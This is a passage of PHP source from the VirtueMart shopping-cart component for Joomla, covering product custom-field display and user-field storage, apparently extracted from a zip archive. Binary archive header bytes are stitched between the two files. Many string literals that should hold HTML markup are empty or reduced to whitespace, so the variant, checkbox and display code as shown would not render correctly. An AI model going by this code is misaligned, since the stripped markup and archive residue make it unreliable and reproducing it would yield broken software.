field.`custom_price`) AS text $query = 'SELECT field.`virtuemart_product_id`, `custom_params`,`custom_element`, field.`virtuemart_custom_id`, field.`virtuemart_customfield_id`,field.`custom_value`, field.`custom_price`, field.`custom_param` FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` Where `virtuemart_product_id` =' . (int)$product->virtuemart_product_id; $query .= ' and is_cart_attribute = 1 and C.`virtuemart_custom_id`=' . (int)$group->virtuemart_custom_id; // We want the field to be ordered as the user defined $query .= ' ORDER BY field.`ordering`'; $this->_db->setQuery ($query); $options = $this->_db->loadObjectList (); //vmdebug('getProductCustomsFieldCart options',$options); $group->options = array(); foreach ($options as $option) { $group->options[$option->virtuemart_customfield_id] = $option; } if ($group->field_type == 'V') { $default = current ($group->options); foreach ($group->options as $productCustom) { $price = self::_getCustomPrice($productCustom->custom_price, $currency, $calculator); $productCustom->text = vmText::_($productCustom->custom_value) . ' ' . $price; } $group->display = VmHTML::select ('customPrice[' . $row . '][' . $group->virtuemart_custom_id . ']', $group->options, $default->custom_value, '', 'virtuemart_customfield_id', 'text', FALSE, false); } else { if ($group->field_type == 'G') { $group->display .= ''; // no direct display done by plugin; } else { if ($group->field_type == 'E') { $group->display = ''; foreach ($group->options as $k=> $productCustom) { $price = self::_getCustomPrice($productCustom->custom_price, $currency, $calculator); $productCustom->text = $productCustom->custom_value . ' ' . $price; $productCustom->virtuemart_customfield_id = $k; if (!class_exists ('vmCustomPlugin')) { require(JPATH_VM_PLUGINS . DS . 'vmcustomplugin.php'); } //legacy, it will be removed 2.2 $productCustom->value = $productCustom->virtuemart_customfield_id; JPluginHelper::importPlugin ('vmcustom'); JPluginHelper::importPlugin ('vmcalculation'); $dispatcher = JDispatcher::getInstance (); $fieldsToShow = $dispatcher->trigger ('plgVmOnDisplayProductVariantFE', array($productCustom, &$row, &$group)); // $group->display .= ' '; $group->display .= ' '; if (!empty($currency->_priceConfig['variantModification'][0]) and $price !== '') { $group->display .= '
    ' . vmText::_ ('COM_VIRTUEMART_CART_PRICE') . '' . $price . '
    '; } $row++; } $row--; } else { if ($group->field_type == 'U') { foreach ($group->options as $productCustom) { $price = self::_getCustomPrice($productCustom->custom_price, $currency, $calculator); $productCustom->text = $productCustom->custom_value . ' ' . $price; $group->display .= ' '; if (!empty($currency->_priceConfig['variantModification'][0]) and $price !== '') { $group->display .= '
    ' . vmText::_ ('COM_VIRTUEMART_CART_PRICE') . '' . $price . '
    '; } } } else { if ($group->field_type == 'A') { $group->display = ''; foreach ($group->options as $productCustom) { /* if ((float)$productCustom->custom_price) { $price = $currency->priceDisplay ($calculator->calculateCustomPriceWithTax ($productCustom->custom_price)); } else { $price = ($productCustom->custom_price === '') ? '' : $free; }*/ $productCustom->field_type = $group->field_type; $productCustom->is_cart = 1; $group->display .= $this->displayProductCustomfieldFE ($product, $productCustom, $row); $checked = ''; } } else { $group->display = ''; $checked = 'checked="checked"'; foreach ($group->options as $productCustom) { //vmdebug('getProductCustomsFieldCart',$productCustom); $price = self::_getCustomPrice($productCustom->custom_price, $currency, $calculator); $productCustom->field_type = $group->field_type; $productCustom->is_cart = 1; // $group->display .= ''; //MarkerVarMods $group->display .= ''; $checked = ''; } } } } } } $row++; } return $groups; } static function _getCustomPrice($customPrice, $currency, $calculator) { if ((float)$customPrice) { $price = strip_tags ($currency->priceDisplay ($calculator->calculateCustomPriceWithTax ($customPrice))); if ($customPrice >0) { $price ="+".$price; } } else { $price = ($customPrice === '') ? '' : vmText::_ ('COM_VIRTUEMART_CART_PRICE_FREE'); } return $price; } /** * Formating front display by roles * for product only ! */ public function displayProductCustomfieldFE (&$product, $customfield, $row = '') { $virtuemart_custom_id = isset($customfield->virtuemart_custom_id)? $customfield->virtuemart_custom_id:0; $value = $customfield->custom_value; $type = $customfield->field_type; $is_list = isset($customfield->is_list)? $customfield->is_list:0; $price = isset($customfield->custom_price)? $customfield->custom_price:0; $is_cart = isset($customfield->is_cart)? $customfield->is_cart:0; //vmdebug('displayProductCustomfieldFE and here is something wrong ',$customfield); if (!class_exists ('CurrencyDisplay')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); $currency = CurrencyDisplay::getInstance (); if ($is_list > 0) { $values = explode (';', $value); if ($is_cart != 0) { $options = array(); foreach ($values as $key => $val) { $options[] = array('value' => $val, 'text' => $val); } vmJsApi::chosenDropDowns(); return JHTML::_ ('select.genericlist', $options, 'field[' . $row . '][custom_value]', NULL, 'value', 'text', FALSE, TRUE); } else { $html = ''; $html .= '
    ' . $value . '
    '; return $html; } } else { if ($price > 0) { $price = $currency->priceDisplay ((float)$price); } switch ($type) { case 'A': $options = array(); $session = JFactory::getSession (); $virtuemart_category_id = $session->get ('vmlastvisitedcategoryid', 0, 'vm'); $productModel = VmModel::getModel ('product'); //Note by Jeremy Magne (Daycounts) 2013-08-31 //Previously the the product model is loaded but we need to ensure the correct product id is set because the getUncategorizedChildren does not get the product id as parameter. //In case the product model was previously loaded, by a related product for example, this would generate wrong uncategorized children list $productModel->setId($product->virtuemart_product_id); //parseCustomParams VirtueMartModelCustomfields::bindParameterableByFieldType($customfield); //Todo preselection as dropdown of children //Note by Max Milbers: This is not necessary, in this case it is better to unpublish the parent and to give the child which should be preselected a category //Or it is withParent, in that case there exists the case, that a parent should be used as a kind of mini category and not be orderable. //There exists already other customs and in special plugins which wanna disable or change the add to cart button. //I suggest that we manipulate the button with a message "choose a variant first" //if(!isset($customfield->pre_selected)) $customfield->pre_selected = 0; $selected = JRequest::getVar ('virtuemart_product_id',0); if(is_array($selected) ) { $selected = $selected[0]; } $selected = (int) $selected; $html = ''; $uncatChildren = $productModel->getUncategorizedChildren ($customfield->withParent); if(empty($uncatChildren)){ return $html; break; } foreach ($uncatChildren as $child) { $options[] = array('value' => JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_category_id=' . $virtuemart_category_id . '&virtuemart_product_id=' . $child['virtuemart_product_id'],FALSE), 'text' => $child['product_name']); } //vmJsApi::chosenDropDowns(); would need class="inputbox vm-chzn-select", but it does not work, in case people have two times the same product, //because both dropdowns have then the same id and the js does not work. $html .= JHTML::_ ('select.genericlist', $options, 'field[' . $row . '][custom_value]', 'onchange="window.top.location.href=this.options[this.selectedIndex].value" size="1" class="inputbox"', "value", "text", JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_category_id=' . $virtuemart_category_id . '&virtuemart_product_id=' . $selected,FALSE)); //vmdebug('$customfield',$customfield); if($customfield->parentOrderable==0 and $product->product_parent_id==0){ $product->orderable = FALSE; } return $html; break; /* variants*/ case 'V': if ($price == 0) $price = vmText::_ ('COM_VIRTUEMART_CART_PRICE_FREE'); /* Loads the product price details */ return ' ' . vmText::_ ('COM_VIRTUEMART_CART_PRICE') . $price . ' '; break; /*Date variant*/ case 'D': return '' . vmJsApi::date ($value, 'LC1', TRUE) . ''; //vmJsApi::jDate($field->custom_value, 'field['.$row.'][custom_value]','field_'.$row.'_customvalue').$priceInput; break; /* text area or editor No vmText, only displayed in BE */ case 'X': case 'Y': return $value; break; /* string or integer */ case 'S': case 'I': return vmText::_ ($value); break; /* bool */ case 'B': if ($value == 0) return vmText::_ ('COM_VIRTUEMART_NO'); return vmText::_ ('COM_VIRTUEMART_YES'); break; /* parent */ case 'P': return '' . vmText::_ ($value) . ''; break; /* related */ case 'R': $pModel = VmModel::getModel('product'); $related = $pModel->getProduct((int)$value,TRUE,TRUE,TRUE,1,FALSE); if(!$related){ vmError('related product is missing, maybe unpublished '.$product->product_name.' id: '.$product->virtuemart_product_id); return false; } $thumb =''; if (!empty($related->virtuemart_media_id[0])) { $thumb = $this->displayCustomMedia ($related->virtuemart_media_id[0]).' '; } else { $thumb = $this->displayCustomMedia (0).' '; } return JHTML::link (JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $related->virtuemart_product_id . '&virtuemart_category_id=' . $related->virtuemart_category_id,FALSE), $thumb . $related->product_name, array('title' => $related->product_name)); break; /* image */ case 'M': return $this->displayCustomMedia ($value); break; /* categorie */ case 'Z': $q = 'SELECT * FROM `#__virtuemart_categories_' . VMLANG . '` as l JOIN `#__virtuemart_categories` AS c using (`virtuemart_category_id`) WHERE `published`=1 AND l.`virtuemart_category_id`= "' . (int)$value . '" '; $this->_db->setQuery ($q); if ($category = $this->_db->loadObject ()) { $q = 'SELECT `virtuemart_media_id` FROM `#__virtuemart_category_medias`WHERE `virtuemart_category_id`= "' . $category->virtuemart_category_id . '" '; $this->_db->setQuery ($q); $thumb = ''; if ($media_id = $this->_db->loadResult ()) { $thumb = $this->displayCustomMedia ($media_id,'category'); } return JHTML::link (JRoute::_ ('index.php?option=com_virtuemart&view=category&virtuemart_category_id=' . $category->virtuemart_category_id, FALSE), $thumb . ' ' . $category->category_name, array('title' => $category->category_name)); } else return ''; /* Child Group list * this have no direct display , used for stockable product */ case 'G': return ''; //' '.vmText::_('COM_VIRTUEMART_CART_PRICE').' : '.$price .' '; break; break; } } } function displayCustomMedia ($media_id, $table = 'product', $absUrl = FALSE) { if (!class_exists ('TableMedias')) require(JPATH_VM_ADMINISTRATOR . DS . 'tables' . DS . 'medias.php'); //$data = $this->getTable('medias'); $db = JFactory::getDBO (); $data = new TableMedias($db); $data->load ((int)$media_id); if (!class_exists ('VmMediaHandler')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'mediahandler.php'); $media = VmMediaHandler::createMedia ($data, $table); //if($media_id==0){ // return $media->getIcon('', FALSE, TRUE, TRUE,$absUrl); //} return $media->displayMediaThumb ('', FALSE, '', TRUE, TRUE, $absUrl); } /** * There are too many functions doing almost the same for my taste * the results are sometimes slighty different and makes it hard to work with it, therefore here the function for future proxy use * */ public static function customFieldDisplay ($product, $variantmods, $html, $trigger) { //vmdebug('customFieldDisplay $variantmods',$variantmods); $row = 0; if (!class_exists ('shopFunctionsF')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); //MarkerVarMods foreach ($variantmods as $selected => $variant) { //foreach ($variantmods as $variant=> $selected) { //vmdebug('customFieldDisplay '.$variant.' '.$selected); if ($selected) { $productCustom = self::getProductCustomField ($selected); //vmdebug('customFieldDisplay',$selected,$productCustom); if (!empty($productCustom)) { $html .= ''; if ($productCustom->field_type == "E") { $product = self::addParam ($product); $product->productCustom = $productCustom; //vmdebug('CustomsFieldCartDisplay $productCustom',$productCustom); // vmdebug('customFieldDisplay $product->param selected '.$selected,$product->param); if (!class_exists ('vmCustomPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmcustomplugin.php'); JPluginHelper::importPlugin ('vmcustom'); $dispatcher = JDispatcher::getInstance (); $dispatcher->trigger ($trigger, array($product, $row, &$html)); } else { //vmdebug('customFieldDisplay $productCustom by self::getProductCustomField $variant: '.$variant.' $selected: '.$selected,$productCustom); $value = ''; if (($productCustom->field_type == "G")) { $child = self::getChild ($productCustom->custom_value); // $html .= $productCustom->custom_title.' '.$child->product_name; $value = $child->product_name; } elseif (($productCustom->field_type == "M")) { // $html .= $productCustom->custom_title.' '.self::displayCustomMedia($productCustom->custom_value); $value = self::displayCustomMedia ($productCustom->custom_value); } elseif (($productCustom->field_type == "S")) { // q $html .= $productCustom->custom_title.' '.vmText::_($productCustom->custom_value); $value = $productCustom->custom_value; } else { // $html .= $productCustom->custom_title.' '.$productCustom->custom_value; //vmdebug('customFieldDisplay',$productCustom); $value = $productCustom->custom_value; } $html .= ShopFunctionsF::translateTwoLangKeys ($productCustom->show_title ? $productCustom->custom_title : '', $value); } $html .= '
    '; } else { // falldown method if customfield are deleted foreach ((array)$selected as $key => $value) { $html .= '
    Couldnt find customfield' . ($key ? '' . $key . ' ' : '') . $value; } } } $row++; } // vmdebug ('customFieldDisplay html begin: ' . $html . ' end'); return $html . '
    '; } /** * TODO This is html and view stuff and MUST NOT be in the model, notice by Max * render custom fields display cart module FE */ public static function CustomsFieldCartModDisplay ($priceKey, $product) { if (empty($calculator)) { if (!class_exists ('calculationHelper')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); $calculator = calculationHelper::getInstance (); } $variantmods = $calculator->parseModifier ($priceKey); return self::customFieldDisplay ($product, $variantmods, '
    ', 'plgVmOnViewCartModule'); } /** * TODO This is html and view stuff and MUST NOT be in the model, notice by Max * render custom fields display cart FE */ public static function CustomsFieldCartDisplay ($priceKey, $product) { if (empty($calculator)) { if (!class_exists ('calculationHelper')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); $calculator = calculationHelper::getInstance (); } $variantmods = $calculator->parseModifier ($priceKey); return self::customFieldDisplay ($product, $variantmods, '
    ', 'plgVmOnViewCart'); } /* * render custom fields display order BE/FE */ public function CustomsFieldOrderDisplay ($item, $view = 'FE', $absUrl = FALSE) { $row = 0; // $item=(array)$item; if (!empty($item->product_attribute)) { $item->param = json_decode ($item->product_attribute, TRUE); // $html = '
    '; if (!empty($item->param)) { return self::customFieldDisplay ($item, $item->param, '
    ', 'plgVmDisplayInOrder' . $view); } else { vmdebug ('CustomsFieldOrderDisplay $item->param empty? '); } } else { // vmTrace('$item->product_attribut is empty'); } return FALSE; } /** * * custom fields for cart and cart module */ public static function getProductCustomField ($selected) { $db = JFactory::getDBO (); $query = 'SELECT C.`virtuemart_custom_id` , `custom_element` , `custom_parent_id` , `admin_only` , `custom_title` , `show_title` , `custom_tip` , C.`custom_value` AS value, `custom_field_desc` , `field_type` , `is_list` , `is_cart_attribute` , `is_hidden` , C.`published` , field.`virtuemart_customfield_id` , field.`custom_value`,field.`custom_param`,field.`custom_price` FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` WHERE `virtuemart_customfield_id` ="' . (int)$selected . '"'; // if($product_parent_id!=0){ // $query .= ' AND (`virtuemart_product_id` ="' . $product_id.'" XOR `virtuemart_product_id` ="' . $product_parent_id.'")'; // } else { // $query .= ' AND (`virtuemart_product_id` ="' . $product_id.'"'; // } $db->setQuery ($query); return $db->loadObject (); } /* * add parameter to product definition */ public function addParam ($product) { // vmdebug('addParam? ',$product->custom_param,$product->customPlugin); $custom_param = empty($product->custom_param) ? array() : json_decode ($product->custom_param, TRUE); $product_param = empty($product->customPlugin) ? array() : json_decode ($product->customPlugin, TRUE); $params = (array)$product_param + (array)$custom_param; foreach ($params as $key => $param) { $product->param[$key] = $param; } return $product; } public function getChild ($child) { $db = JFactory::getDBO (); $db->setQuery ('SELECT `product_sku`, `product_name` FROM `#__virtuemart_products_' . VMLANG . '` WHERE virtuemart_product_id=' . $child); return $db->loadObject (); } static public function setEditCustomHidden ($customfield, $i) { if (!isset($customfield->virtuemart_customfield_id)) $customfield->virtuemart_customfield_id = '0'; $html = ' '; return $html; } } // pure php no closing tag PKsl>\2Scom_virtuemart_update/administrator/components/com_virtuemart/models/userfields.phpnuW+Afieldname with formfields that are saved as parameters */ var $reqParam; // stAn, this variable is a cached result of getUserFields // where array key is $cache_hash = md5($sec.serialize($_switches).serialize($_skip).$this->_selectedOrdering.$this->_selectedOrderingDir); static $_cache_ordered; // this variable is a cached result of named fields of last call of getUserFields where the key is $_sec of the function ('registration', 'account', 'shipping'.. etc...) // example $_cached_named['registration']['email'] static $_cache_named; // *** code for htmlpurifier *** // var $htmlpurifier = ''; /** * constructs a VmModel * setMainTable defines the maintable of the model * @author Max Milbers */ function __construct() { parent::__construct('virtuemart_userfield_id'); $this->setMainTable('userfields'); $this->setToggleName('required'); $this->setToggleName('registration'); $this->setToggleName('shipment'); $this->setToggleName('account'); // Instantiate the Helper class $this->_params = new ParamHelper(); self::$_cache_ordered = null; self::$_cache_named = array(); // Form fields that must be translated to parameters $this->reqParam = array ( 'age_verification' => 'minimum_age' ,'euvatid' => 'virtuemart_shoppergroup_id' ,'webaddress' => 'webaddresstype' ); $this->_selectedOrdering = 'ordering'; $this->_selectedOrderingDir = 'ASC'; } /** * Prepare a user field for database update */ public function prepareFieldDataSave($field, &$data) { // $post = JRequest::get('post'); $fieldType = $field->type; $fieldName = $field->name; $value = $data[$field->name]; $params = $field->params; if(!class_exists('vmFilter'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmfilter.php'); switch(strtolower($fieldType)) { case 'webaddress': if (isset($post[$fieldName."Text"]) && ($post[$fieldName."Text"])) { $oValuesArr = array(); $oValuesArr[0] = str_replace(array('mailto:','http://','https://'),'', $value); $oValuesArr[1] = str_replace(array('mailto:','http://','https://'),'', $post[$fieldName."Text"]); $value = implode("|*|",$oValuesArr); } else { if ($value = vmFilter::urlcheck($value) ) $value = str_replace(array('mailto:','http://','https://'),'', $value); } break; case 'email': case 'emailaddress': //vmdebug('emailaddress before filter',$value); $value = vmFilter::mail( $value ); //$value = str_replace('mailto:','', $value); //$value = str_replace(array('\'','"',',','%','*','/','\\','?','^','`','{','}','|','~'),array(''),$value); //vmdebug('emailaddress after filter',$value); break; // case 'phone': // $value = vmFilter::phone( $value ); // break; case 'multiselect': case 'multicheckbox': case 'select': if (is_array($value)) $value = implode("|*|",$value); break; case 'age_verification': $value = JRequest::getInt('birthday_selector_year') .'-'.JRequest::getInt('birthday_selector_month') .'-'.JRequest::getInt('birthday_selector_day'); break; case 'textarea': $value = JRequest::getVar($fieldName, '', 'post', 'string' ,JREQUEST_ALLOWRAW); $value = vmFilter::hl( $value,'text' ); break; case 'editorta': $value = JRequest::getVar($fieldName, '', 'post', 'string' ,JREQUEST_ALLOWRAW); $value = vmFilter::hl( $value,'no_js_flash' ); break; default: // //*** code for htmlpurifier *** // //SEE http://htmlpurifier.org/ // // must only add all htmlpurifier in library/htmlpurifier/ // if (!$this->htmlpurifier) { // require(JPATH_VM_ADMINISTRATOR.DS.'library'.DS.'htmlpurifier'.DS.'HTMLPurifier.auto.php'); // $config = HTMLPurifier_Config::createDefault(); // $this->htmlpurifier = new HTMLPurifier($config); // } // $value = $this->htmlpurifier->purify($value); // vmdebug( "purified filter" , $value); //$config->set('URI.HostBlacklist', array('google.com'));// set eg .add google.com in black list if (strpos($fieldType,'plugin')!==false){ JPluginHelper::importPlugin('vmuserfield'); $dispatcher = JDispatcher::getInstance(); // vmdebug('params',$params); $dispatcher->trigger('plgVmPrepareUserfieldDataSave',array($fieldType, $fieldName, &$data, &$value, $params) ); return $value; } // no HTML TAGS but permit all alphabet $value = vmFilter::hl( $value,array('deny_attribute'=>'*')); $value = preg_replace('@<[\/\!]*?[^<>]*?>@si','',$value);//remove all html tags $value = (string)preg_replace('#on[a-z](.+?)\)#si','',$value);//replace start of script onclick() onload()... $value = trim(str_replace('"', ' ', $value),"'") ; $value = (string)preg_replace('#^\'#si','',$value);//replace ' at start break; } return $value; } /** * Retrieve the detail record for the current $id if the data has not already been loaded. */ function getUserfield($id = 0,$name = 0) { if($id === 0){ $id = $this->_id; } if (empty($this->_data)) { $this->_data = $this->getTable('userfields'); if($name !==0){ $this->_data->load($id, $name); } $this->_data->load($id); } if(strpos($this->_data->type,'plugin')!==false){ JPluginHelper::importPlugin('vmuserfield'); $dispatcher = JDispatcher::getInstance(); $plgName = substr($this->_data->type,6); $type = 'userfield'; $retValue = $dispatcher->trigger('plgVmDeclarePluginParamsUserfield',array($type,$plgName,$this->_data->userfield_jplugin_id,&$this->_data)); // vmdebug('pluginGet',$type,$plgName,$this->_id,$this->_data); } // Parse the parameters, if any else $this->_params->parseParam($this->_data->params); return $this->_data; } /** * Retrieve the value records for the current $id if available for the current type * * Updated by stAn to get userfieldvalues per specific id regardless on this->_id * * @return array List wil values, or an empty array if none exist */ function getUserfieldValues($id=null) { if (empty($id)) $id = $this->_id; $this->_data = $this->getTable('userfield_values'); if ($id > 0) { $query = 'SELECT * FROM `#__virtuemart_userfield_values` WHERE `virtuemart_userfield_id` = ' . (int)$id . ' ORDER BY `ordering`'; $_userFieldValues = $this->_getList($query); return $_userFieldValues; } else { return array(); } } static function getCoreFields(){ return array( 'name','username', 'email', 'password', 'password2' , 'agreed','language'); } /** * Bind the post data to the userfields table and save it * * @return boolean True is the save was successful, false otherwise. */ function store(&$data){ $field = $this->getTable('userfields'); $userinfo = $this->getTable('userinfos'); $orderinfo = $this->getTable('order_userinfos'); $isNew = ($data['virtuemart_userfield_id'] < 1) ? true : false; $coreFields = $this->getCoreFields(); if(in_array($data['name'],$coreFields)){ //vmError('Cant store/update core field. They belong to joomla'); //return false; } else { if ($isNew) { $reorderRequired = false; $_action = 'ADD'; } else { $field->load($data['virtuemart_userfield_id']); $_action = 'CHANGE'; if ($field->ordering == $data['ordering']) { $reorderRequired = false; } else { $reorderRequired = true; } } } //vmdebug ('SAVED userfields', $data); // Put the parameters, if any, in the correct format if (array_key_exists($data['type'], $this->reqParam)) { $this->_params->set($this->reqParam[$data['type']], $data[$this->reqParam[$data['type']]]); $data['params'] = $this->_params->paramString(); } // Store the fieldvalues, if any, in a correct array $fieldValues = $this->postData2FieldValues($data['vNames'], $data['vValues'], $data['virtuemart_userfield_id'] ); if(strpos($data['type'],'plugin')!==false){ // missing string FIX, Bad way ? if (JVM_VERSION===1) { $tb = '#__plugins'; $ext_id = 'id'; } else { $tb = '#__extensions'; $ext_id = 'extension_id'; } $plgName = substr($data['type'],6); $q = 'SELECT `' . $ext_id . '` FROM `' . $tb . '` WHERE `element` = "'.$plgName.'"'; $this->_db->setQuery($q); $data['userfield_jplugin_id'] = $this->_db->loadResult(); JPluginHelper::importPlugin('vmuserfield'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('plgVmOnBeforeUserfieldSave',array( $plgName , &$data, &$field ) ); } if (!$field->bind($data)) { // Bind data vmError($field->getError()); return false; } if (!$field->check(count($fieldValues))) { // Perform data checks //vmError($field->getError()); return false; } // Get the fieldtype for the database $_fieldType = $field->formatFieldType($data); if(!in_array($data['name'],$coreFields) && $field->type != 'delimiter'){ // Alter the user_info table if (!$userinfo->_modifyColumn ($_action, $data['name'], $_fieldType)) { vmError('userfield store modifyColumn userinfo',$userinfo->getError()); return false; } // Alter the order_userinfo table if (!$orderinfo->_modifyColumn ($_action, $data['name'], $_fieldType)) { vmError('userfield store modifyColumn orderinfo',$orderinfo->getError()); return false; } } // if new item, order last in appropriate group if ($isNew) { $field->ordering = $field->getNextOrder(); } $_id = $field->store(); if ($_id === false) { // Write data to the DB vmError($field->getError()); return false; } if (!$this->storeFieldValues($fieldValues, $_id)) { return false; } if(strpos($data['type'],'plugin')!==false){ JPluginHelper::importPlugin('vmuserfield'); $dispatcher = JDispatcher::getInstance(); $plgName = substr($data['type'],6); $dispatcher->trigger('plgVmOnStoreInstallPluginTable',array( 'userfield' , $data ) ); } if ($reorderRequired) { $field->reorder(); } vmdebug('storing userfield',$_id); // Alter the user_info database to hold the values return $_id; } /** * Bind and write all value records * * @param array $_values * @param mixed $_id If a new record is being inserted, it contains the virtuemart_userfield_id, otherwise the value true * @return boolean */ private function storeFieldValues($_values, $_id) { // stAn - not true, because if previously we had more values, we have to delete them /* if (count($_values) == 0) { return true; //Nothing to do } */ $fieldvalue = $this->getTable('userfield_values'); // get original values $originalvalues = $this->getUserfieldValues($_id); // for each orignal value search if it was deleted or modified for ($i = 0; $i < count($originalvalues); $i++) { if (isset($_values[$i])) { if (!($_id === true)) { // If $_id is true, it was not a new record $_values[$i]['virtuemart_userfield_id'] = $_id; } if (!$fieldvalue->bind($_values[$i])) { // Bind data vmError($fieldvalue->getError()); return false; } if (!$fieldvalue->check()) { // Perform data checks vmError($fieldvalue->getError()); return false; } if (!$fieldvalue->store()) { // Write data to the DB vmError($fieldvalue->getError()); return false; } } else { // the field was deleted // stAn, next line doesn't work, because it tries to delete by the virtuemart_userfield_id instead of virtuemart_userfield_value_id // $msg = $fieldvalue->delete($originalvalues->virtuemart_userfield_value_id); $db = JFactory::getDBO(); $q = 'DELETE from `#__virtuemart_userfield_values` WHERE `virtuemart_userfield_value_id` = ' . (int)$originalvalues[$i]->virtuemart_userfield_value_id.' and `virtuemart_userfield_id` = '.(int)$_id; $db->setQuery($q); if ($db->query() === false) { vmError($db->getError()); return false; } } } // for each new value that was added for ($i = count($originalvalues)-1; $i < count($_values) ; $i++) { // do a check here as we might not be using pure numeric arrays if (isset($_values[$i])) { if (!($_id === true)) { // If $_id is true, it was not a new record $_values[$i]['virtuemart_userfield_id'] = $_id; } if (!$fieldvalue->bind($_values[$i])) { // Bind data vmError($fieldvalue->getError()); return false; } if (!$fieldvalue->check()) { // Perform data checks vmError($fieldvalue->getError()); return false; } if (!$fieldvalue->store()) { // Write data to the DB vmError($fieldvalue->getError()); return false; } } } return true; } /** * * @author Max Milbers */ public function getUserFieldsFor($layoutName, $type,$userId = -1){ //vmdebug('getUserFieldsFor '.$layoutName.' '. $type .' ' . $userId); $register = false; if(VmConfig::get('oncheckout_show_register',1) and $type=='BT'){ $user = JFactory::getUser(); if(!empty($user)){ if(empty($user->id)){ $register = true; } } else { $register = true; } } else { $register = false; } $skips = array(); //Maybe there is another method to define the skips $skips = array('address_type'); if((!$register or $type =='ST') and $layoutName !='edit'){ $skips[] = 'name'; $skips[] = 'username'; $skips[] = 'password'; $skips[] = 'password2'; $skips[] = 'user_is_vendor'; $skips[] = 'agreed'; // MattLG: Added this line because it leaves the empty fieldset with just the label when editing the ST addresses // A better solution might be to make this a setting rather than hard coding this whole block here $skips[] = 'delimiter_userinfo'; } //Here we get the fields if ($type == 'BT') { $userFields = $this->getUserFields( 'account' , array() // Default toggles , $skips// Skips ); } else { $userFields = $this->getUserFields( 'shipment' , array() // Default toggles , $skips ); } //Small ugly hack to make registering optional //do we still need that? YES ! notice by Max Milbers if($register && $type == 'BT' && VmConfig::get('oncheckout_show_register',1) ){ $corefields = $this->getCoreFields(); unset($corefields[2]); //the 2 is for the email field, it is necessary in almost anycase. foreach($userFields as $field){ if(in_array($field->name,$corefields)){ $field->required = 0; $field->value = ''; $field->default = ''; } } } return $userFields; } /** * Retrieve an array with userfield objects * * @param string $section The section the fields belong to (e.g. 'registration' or 'account') * @param array $_switches Array to toggle these options: * * published published fields only (default: true) * * required Required fields only (default: false) * * delimiters Exclude delimiters (default: false) * * captcha Exclude Captcha type (default: false) * * system System fields filter (no default; true: only system fields, false: exclude system fields) * @param array $_skip Array with fieldsnames to exclude. Default: array('username', 'password', 'password2', 'agreed'), * specify array() to skip nothing. * @see getUserFieldsFilled() * @author Oscar van Eijk * @return array */ public function getUserFields ($_sec = 'registration', $_switches=array(), $_skip = array('username', 'password', 'password2')) { // stAn, we can't really create cache per sql as we want to create named array as well $cache_hash = md5($_sec.serialize($_switches).serialize($_skip).$this->_selectedOrdering.$this->_selectedOrderingDir); if (isset(self::$_cache_ordered[$cache_hash])) return self::$_cache_ordered[$cache_hash]; $_q = 'SELECT * FROM `#__virtuemart_userfields` WHERE 1 = 1 '; if( $_sec != 'bank' && $_sec != '') { $_q .= 'AND `'.$_sec.'`=1 '; } elseif ($_sec == 'bank' ) { $_q .= "AND name LIKE '%bank%' "; } /* if (($_skipBank = array_search('bank', $_skip)) !== false ) { $_q .= "AND name NOT LIKE '%bank%' "; unset ($_skip[$_skipBank]); }*/ if(array_key_exists('published',$_switches)){ if ($_switches['published'] !== false ) { $_q .= 'AND published = 1 '; } } else { $_q .= 'AND published = 1 '; } if(array_key_exists('required',$_switches)){ if ($_switches['required'] === true ) { $_q .= "AND required = 1 "; } } if(array_key_exists('delimiters',$_switches)){ if ($_switches['delimiters'] === true ) { $_q .= "AND type != 'delimiter' "; } } if(array_key_exists('captcha',$_switches)){ if ($_switches['captcha'] === true ) { $_q .= "AND type != 'captcha' "; } } if(array_key_exists('sys',$_switches)){ if ($_switches['sys'] === true ) { $_q .= "AND sys = 1 "; } else { $_q .= "AND sys = 0 "; } } if (count($_skip) > 0) { $_q .= "AND FIND_IN_SET(name, '".implode(',', $_skip)."') = 0 "; } $_q .= ' ORDER BY ordering '; $_fields = $this->_getList($_q); // We need some extra fields that are not in the userfields table. They will be hidden on the details form if (!in_array('address_type', $_skip)) { $_address_type = new stdClass(); $_address_type->virtuemart_userfield_id = 0; $_address_type->name = 'address_type'; $_address_type->title = ''; $_address_type->description = '' ; $_address_type->type = 'hidden'; $_address_type->maxlength = 0; $_address_type->size = 0; $_address_type->required = 0; $_address_type->ordering = 0; $_address_type->cols = 0; $_address_type->rows = 0; $_address_type->value = ''; $_address_type->default = 'BT'; $_address_type->published = 1; $_address_type->registration = 1; $_address_type->shipment = 0; $_address_type->account = 1; $_address_type->readonly = 0; $_address_type->calculated = 0; // what is this??? $_address_type->sys = 0; $_address_type->virtuemart_vendor_id = 1; $_address_type->params = ''; $_fields[] = $_address_type; } // stAn: slow to run the first time: self::$_cache_ordered[$cache_hash] = $_fields; if (!isset(self::$_cache_named[$_sec])) self::$_cache_named[$_sec] = array(); foreach ($_fields as &$f) { self::$_cache_named[$_sec][$f->name] = $f; } return $_fields; } /** * Return a boolean whethe the userfield is enabled in context of $_sec * * @access public * @param $_field_name: name of the user field such as 'email' * @param $_sec BT or ST, or one of the types of the fields: account, shipment, registration * @author stAn * @return true or false * * Note: this function will return a false result for skipped fields such as agreed, user_is_vendor * * when used from shipment method, you can use * $userFieldsModel =VmModel::getModel('Userfields'); * $type = (($cart->ST == 0) ? 'BT' : 'ST'); * if ($userFieldsModel->fieldPublished('zip', $type)) .... */ public function fieldPublished($_field_name, $_sec='account') { if ($_sec == 'BT') $_sec = 'account'; else if ($_sec == 'ST') $_sec = 'shipment'; if (isset(self::$_cache_named[$_sec])) return isset(self::$_cache_named[$_sec][$_field_name]); 